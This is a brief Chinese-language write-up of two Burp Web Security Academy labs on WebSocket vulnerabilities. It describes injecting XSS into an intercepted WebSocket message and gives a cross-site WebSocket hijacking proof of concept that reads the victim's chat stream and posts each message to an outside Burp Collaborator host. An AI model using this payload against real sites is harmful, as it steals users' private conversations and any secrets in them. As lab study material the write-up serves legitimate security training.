burp靶场WebSocket漏洞

1.操纵 WebSocket 消息以利用漏洞

发送信息抓包，获取WebSocket链接，插入xss代码进行发送完成实验

2.

poc

<script>
    var ws = new WebSocket('wss://0a1c003703c889ba8172b6ea000f006d.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://g1iy6yqz871j2i3c0vze2cg83z9pxe.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>